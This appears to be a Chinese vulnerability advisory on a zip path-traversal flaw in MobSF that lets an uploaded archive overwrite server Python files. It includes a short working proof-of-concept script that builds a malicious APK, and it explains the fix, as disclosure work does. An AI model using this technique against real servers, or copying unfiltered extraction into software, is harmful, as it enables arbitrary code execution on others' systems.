由于对zip文件处理不当,远程攻击者上传恶意的移动应用文件(zip)文件即可导致任意文件写入或覆盖

近期MobSF官方发布了新的版本,修复了一个安全问题。由于对zip文件处理不当,远程攻击者上传恶意的移动应用文件(zip)文件即可导致任意文件写入或覆盖。经测试通过直接覆盖py文件可以执行任意Python代码。

MobSF.png

漏洞信息

移动安全测试框架 (MobSF) 是一个智能化、一体化的开源移动应用(Android / iOS)自动测试框架,能够对以上两种移动应用进行静态和动态分析。在处理上传的应用时,都需要对压缩包文件进行解压处理,当压缩包内的文件名信息带有../../,由于没有对此进行过滤,可以跳出解压目录从而覆盖其他目录的文件,比如Python文件

漏洞影响版本

MobSF >=v0.9.3.2 && <=0.9.4.1

复现环境

windows 10
MobSF v0.9.3.7
Python 2.7.12

复现过程

使用下面的代码生成攻击payload,并上传至MobSF,即可执行任意Python代码

#generate_zipfile.py
import zipfile
z_info = zipfile.ZipInfo(r"..\..\StaticAnalyzer\__init__.py")
z_file = zipfile.ZipFile("evil.apk", mode="w")
z_file.writestr(z_info, "print 'vuln'")
z_file.close()

GO(KSB7WPV8]LHIR]60JFF0.png

由于MobSF使用的DJANGO框架设置了为debug模式,导致有py文件修改就会重新启动服务,给漏洞利用带来了一定的便利。

修复细节

通过跟踪压缩包处理流程发现,问题在于Unzip函数,位于StaticAnalyzer/views/shared_func.py

F0]WN78R[)V~9~~2R[KPBTX.png

查看commit发现 ,刚开始的时候没有对文件名进行过滤实现了解压文件流程,从ZipInfofilename属性获得文件名,并写入文件。后来调用了ZipInfoextract函数进行解压,通过查看文档发现这个函数会过滤../,:<>|"?*等特殊符号。在unix平台中Unzip函数还有可能去调用系统原生的unzip命令,经过笔者测试是不会产生上诉问题的。

结语

MobSF会自动检测版本是否有更新,但更新还需要手动更新,如正在使用请尽快更新到v0.9.4.2以上版本

本文版权归漏洞盒子所有